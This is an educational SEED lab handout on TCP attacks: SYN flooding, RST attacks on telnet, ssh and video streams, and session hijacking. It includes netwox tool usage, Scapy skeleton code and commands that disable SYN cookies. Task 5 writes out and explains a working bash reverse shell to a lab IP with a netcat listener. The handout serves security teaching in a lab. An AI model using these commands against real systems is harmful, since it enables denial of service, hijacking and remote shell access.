The learning objective of this lab is for students to gain first-hand experience on vulnerabilities, as well as on attacks against these vulnerabilities. Wise people learn from mistakes. In security education, we study mistakes that lead to software vulnerabilities. Studying mistakes from the past not only help students understand why systems are vulnerable, why a seemly-benign mistake can turn into a disaster, and why many security mechanisms are needed. More importantly, it also helps students learn the common patterns of vulnerabilities, so they can avoid making similar mistakes in the future. Moreover, using vulnerabilities as case studies, students can learn the principles of secure design, secure programming, and security testing.

The vulnerabilities in the TCP/IP protocols represent a special genre of vulnerabilities in protocol designs and implementations; they provide an invaluable lesson as to why security should be designed in from the beginning, rather than being added as an afterthought. Moreover, studying these vulnerabilities help students understand the challenges of network security and why many network security measures are needed. In this lab, students will conduct several attacks on TCP. This lab covers the following topics:

• The TCP protocol
• TCP SYN flood attack, and SYN cookies
• TCP reset attack
• TCP session hijacking attack
• Reverse shell
• A special type of TCP attack, the Mitnick attack, is covered in a separate lab.

Readings and videos. Detailed coverage of the TCP attacks can be found in the following:

• Chapter 16 of the SEED Book, Computer & Internet Security: A Hands-on Approach, 2nd Edition, by Wenliang Du. See details at https://www.handsonsecurity.net.
• Section 6 of the SEED Lecture, Internet Security: A Hands-on Approach, by Wenliang Du. See details at https://www.handsonsecurity.net/video.html.

Lab environment. This lab has been tested on our pre-built Ubuntu 16.04 VM, which can be downloaded from the SEED website.

1 Lab Environment

Network Setup. To conduct this lab, students need to have at least 3 machines. One computer is used for attacking, the second computer is used as the victim, and the third computer is used as the observer. Students can set up 3 virtual machines on the same host computer, or they can set up 2 virtual machines, and then use the host computer as the third computer. For this lab, we put all these three machines on the same LAN, the configuration is described in Figure 1.

Figure 1: Environment Setup

Netwox Tools. We need tools to send out network packets of different types and with different contents. We can use Netwag to do that. However, the GUI interface of Netwag makes it difficult for us to automate the process. Therefore, we strongly suggest students to use its command-line version, the Netwox command, which is the underlying command invoked by Netwag.

Netwox consists of a suite of tools, each having a specific number. You can run a command like following (the parameters depend on which tool you are using). For some of the tool, you have to run it with the root privilege:

$ sudo netwox number [parameters ]

If you are not sure how to set the parameters, you can look at the manual by issuing netwox number help. You can also learn the parameter settings by running Netwag: for each command you execute from the graphic interface, Netwag actually invokes a corresponding Netwox command, and it displays the parameter settings. Therefore, you can simply copy and paste the displayed command.

Scapy Tool. Some of the tasks in this lab can also be conducted using Scapy, which is a powerful interactive packet manipulation program. Scapy is very well maintained and is widely used; while Netwox is not being maintained any more. There are many online tutorials on Scapy; we expect students to learn how to use Scapy from those tutorials.

2 Lab Tasks

In this lab, students need to conduct attacks on the TCP/IP protocols. They can use the Netwox tools and/or other tools in the attacks. All the attacks are performed on Linux operating systems. However, instructors can require students to also conduct the same attacks on other operating systems and compare the observations.

To simplify the guess of TCP sequence numbers and source port numbers, we assume that attackers are on the same physical network as the victims. Therefore, you can use sniffer tools to get that information. The following is the list of attacks that need to be implemented.

2.1 Task 1: SYN Flooding Attack

Figure 2: SYN Flooding Attack

SYN flood is a form of DoS attack in which attackers send many SYN requests to a victims TCP port, but the attackers have no intention to finish the 3-way handshake procedure. Attackers either use spoofed IP address or do not continue the procedure. Through this attack, attackers can flood the victims queue that is used for half-opened connections, i.e. the connections that has finished SYN, SYN-ACK, but has not yet gotten a final ACK back. When this queue is full, the victim cannot take any more connection. Figure 2 illustrates the attack.

The size of the queue has a system-wide setting. In Linux, we can check the setting using the following command:

$ sudo sysctl -q net.ipv4.tcp_max_syn_backlog

We can use command netstat -na to check the usage of the queue, i.e., the number of halfopened connection associated with a listening port. The state for such connections is SYN-RECV. If the 3-way handshake is finished, the state of the connections will be ESTABLISHED.

In this task, you need to demonstrate the SYN flooding attack. You can use the Netwox tool to conduct the attack, and then use a sniffer tool to capture the attacking packets. While the attack is going on, run the netstat -na command on the victim machine, and compare the result with that before the attack. Please also describe how you know whether the attack is successful or not.

The corresponding Netwox tool for this task is numbered 76. Here is a simple help screen for this tool. You can also type netwox 76 help to get the help information.

Listing 1: The usage of the Netwox Tool 76

Title: SynfloodUsage: netwox 76 -i ip -p port [-s spoofip] Parameters:-i|dst-ip ip destination IP address-p|dst-port port destination port number-s|spoofip spoofip IP spoof initialzation type

SYN Cookie Countermeasure: If your attack seems unsuccessful, one thing that you can investigate is whether the SYN cookie mechanism is turned on. SYN cookie is a defense mechanism to counter the SYN flooding attack. The mechanism will kick in if the machine detects that it is under the SYN flooding attack. You can use the sysctl command to turn on/off the SYN cookie mechanism:

$ sudo sysctl -a | grep cookie (Display the SYN cookie flag)

$ sudo sysctl -w net.ipv4.tcp_syncookies=0 (turn off SYN cookie)

$ sudo sysctl -w net.ipv4.tcp_syncookies=1 (turn on SYN cookie)

Please run your attacks with the SYN cookie mechanism on and off, and compare the results. In your report, please describe why the SYN cookie can effectively protect the machine against the SYN flooding attack. If your instructor does not cover the mechanism in the lecture, you can find out how the SYN cookie mechanism works from the Internet.

Note on Scapy: Although theoretically, we can use Scapy for this task, we have observed that the number of packets sent out by Scapy per second is much smaller than that by Netwox. This low rate makes it difficult for the attack to be successful. We were not able to succeed in SYN flooding attacks using Scapy.

2.2 Task 2: TCP RST Attacks on telnet and ssh Connections

The TCP RST Attack can terminate an established TCP connection between two victims. For example, if there is an established telnet connection (TCP) between two users A and B, attackers can spoof a RST packet from A to B, breaking this existing connection. To succeed in this attack, attackers need to correctly construct the TCP RST packet.

In this task, you need to launch an TCP RST attack to break an existing telnet connection between A and B. After that, try the same attack on an ssh connection. Please describe your observations. To simplify the lab, we assume that the attacker and the victim are on the same LAN, i.e., the attacker can observe the TCP traffic between A and B.

Using Netwox. The corresponding Netwox tool for this task is numbered 78. Here is a simple help screen for this tool. You can also type netwox 78 help to get the help information.

Listing 2: The usage of the Netwox Tool 78

Title: Reset every TCP packetUsage: netwox 78 [-d device] [-f filter] [-s spoofip] Parameters:-d|device device device name {Eth0}-f|filter filter pcap filter-s|spoofip spoofip IP spoof initialization type {linkbraw}

Using Scapy. Please also use Scapy to conduct the TCP RST attack. A skeleton code is provided in the following (you need to replace each @@@@ with an actual value):

#!/usr/bin/python from scapy.all import *ip = IP(src=@@@@, dst=@@@@) tcp = TCP([email protected]@@@, [email protected]@@@, flags=@@@@, [email protected]@@@, [email protected]@@@)

pkt = ip/tcp ls(pkt) send(pkt,verbose=0)

2.3 Task 3: TCP RST Attacks on Video Streaming Applications

Let us make the TCP RST attack more interesting by experimenting it on the applications that are widely used in nowadays. We choose the video streaming application in this task. For this task, you can choose a video streaming web site that you are familiar with (we will not name any specific web site here). Most of video sharing websites establish a TCP connection with the client for streaming the video content. The attackers goal is to disrupt the TCP session established between the victim and video streaming machine. To simplify the lab, we assume that the attacker and the victim are on the same LAN. In the following, we describe the common interaction between a user (the victim) and some video-streaming web site:

• The victim browses for a video content in the video-streaming web site, and selects one of the videos for streaming.
• Normally video contents are hosted by a different machine, where all the video contents are located. After the victim selects a video, a TCP session will be established between the victim machine and the content server for the video streaming. The victim can then view the video he/she has selected.

Your task is to disrupt the video streaming by breaking the TCP connection between the victim and the content server. You can let the victim user browse the video-streaming site from another (virtual) machine or from the same (virtual) machine as the attacker. Please be noted that, to avoid liability issues, any attacking packets should be targeted at the victim machine (which is the machine run by yourself), not at the content server machine (which does not belong to you). You only need to use Netwox for this task.

2.4 Task 4: TCP Session Hijacking

Figure 3: TCP Session Hijacking Attack

The objective of the TCP Session Hijacking attack is to hijack an existing TCP connection (session) between two victims by injecting malicious contents into this session. If this connection is a telnet session, attackers can inject malicious commands (e.g. deleting an important file) into this session, causing the victims to execute the malicious commands. Figure 3 depicts how the attack works. In this task, you need to demonstrate how you can hijack a telnet session between two computers. Your goal is to get the the telnet server to run a malicious command from you. For the simplicity of the task, we assume that the attacker and the victim are on the same LAN.

Using Netwox. The corresponding Netwox tool for this task is numbered 40. Here is part of the manual for this tool. You can also type netwox 40 help to get the full help information. You may also need to use Wireshark to find out the correct parameters for building the spoofed TCP packet.

Listing 3: Part usage of netwox tool 40

Title: Spoof Ip4Tcp packetUsage: netwox 40 [parameters ] Parameters:-l|ip4-src ip Source IP-m|ip4-dst ip Destination IP-j|ip4-ttl uint32 Time to live-o|tcp-src port TCP Source port number-p|tcp-dst port TCP Destination port number-q|tcp-seqnum uint32 TCP sequence number-E|tcp-window uint32 TCP window size-r|tcp-acknum uint32 TCP acknowledge number-z|tcp-ack|+z|no-tcp-ack TCP ack bit-H|tcp-data data TCP data

You can use Wireshark to figure out what value you should put into each field of the spoofed TCP packets. It should be noted in the TCP session hijacking section of the SEED book, the command listed there does not set all the fields of the TCP and IP headers. The fields that are not set will use the default value provided by netwox. Those default values work for Ubuntu 12.04, but some of them do not work for Ubuntu 16.04. If you use the SEED book as a reference, you need to set those fields accordingly, instead of using the default. All the fields that need to be set are listed in Listing 3.

In the netwox command above, the tcp-data part only takes hex data. If we want to inject a command string, which is typically represented as a human-readable ASCII string, we need to convert it into a hex string. There are many ways to do that, but we will just use a very simple command in Python. In the following, we convert an ASCII string Hello World to a hex string (the quotation marks are not included).

$ python

>>> Hello World.encode(hex)

48656c6c6f20576f726c64

Using Scapy. Please also use Scapy to conduct the TCP Session Hijacking attack. A skeleton code is provided in the following (you need to replace each @@@@ with an actual value):

#!/usr/bin/python from scapy.all import *ip = IP(src=@@@@, dst=@@@@)tcp = TCP([email protected]@@@, [email protected]@@@, flags=@@@@, [email protected]@@@, [email protected]@@@) data = @@@@ pkt = ip/tcp/data ls(pkt) send(pkt,verbose=0)

2.5 Task 5: Creating Reverse Shell using TCP Session Hijacking

When attackers are able to inject a command to the victims machine using TCP session hijacking, they are not interested in running one simple command on the victim machine; they are interested in running many commands. Obviously, running these commands all through TCP session hijacking is inconvenient. What attackers want to achieve is to use the attack to set up a back door, so they can use this back door to conveniently conduct further damages.

A typical way to set up back doors is to run a reverse shell from the victim machine to give the attack the shell access to the victim machine. Reverse shell is a shell process running on a remote machine, connecting back to the attackers machine. This gives an attacker a convenient way to access a remote machine once it has been compromised.

In the following, we will show how we can set up a reverse shell if we can directly run a command on the victim machine (i.e. the server machine). In the TCP session hijacking attack, attackers cannot directly run a command on the victim machine, so their jobs is to run a reverse-shell command through the session hijacking attack. In this task, students need to demonstrate that they can achieve this goal.

• Use netcat to listen to connection
• Run the reverse shell

Figure 4: Reverse shell connection to the listening netcat process

To have a bash shell on a remote machine connect back to the attackers machine, the attacker needs a process waiting for some connection on a given port. In this example, we will use netcat. This program allows us to specify a port number and can listen for a connection on that port. In Figure 4(a), netcat (nc for short) is used to listen for a connection on port 9090. In Figure 4(b), the /bin/bash command represents the command that would normally be executed on a compromised server. This command has the following pieces:

• /bin/bash -i: i stands for interactive, meaning that the shell must be interactive (must provide a shell prompt)
• > /dev/tcp/10.0.2.4/9090: This causes the output (stdout) of the shell to be redirected to the tcp connection to 10.0.2.4s port 9090. The output stdout is represented by file descriptor number 1.
• 0<&1: File descriptor 0 represents the standard input (stdin). This causes the stdin for the shell to be obtained from the tcp connection.
• 2>&1: File descriptor 2 represents standard error stderr. This causes the error output to be redirected to the tcp connection.

In summary, /bin/bash -i > /dev/tcp/10.0.2.4/9090 0<&1 2>&1 starts a bash shell, with its input coming from a tcp connection, and its standard and error outputs being redirected to the same tcp connection. In Figure 4(a), when the bash shell command is executed on 10.0.2.8, it connects back to the netcat process started on 10.0.2.4. This is confirmed via the Connection 10.0.2.8 accepted message displayed by netcat.

The shell prompt obtained from the connection is now connected to the bash shell. This can be observed from the difference in the current working directory (printed via pwd). Before the connection was established, the pwd returned /home/seed. Once netcat is connected to bash, pwd in the new shell returns /home/seed/Documents (directory corresponding to where /bin/bash is started from). We can also observe the IP address displayed in the shell prompt is also changed to 10.0.2.8, which is the same as that on the server machine. The output from netstat shows the established connection.

The description above shows how you can set up a reverse shell if you have the access to the target machine, which is the telnet server in our setup, but in this task, you do not have such an access. Your task is to launch an TCP session hijacking attack on an existing telnet session between a user and the target server. You need to inject your malicious command into the hijacked session, so you can get a reverse shell on the target server. You can use either Netwox or Scapy for this task (using Scapy is more convenient).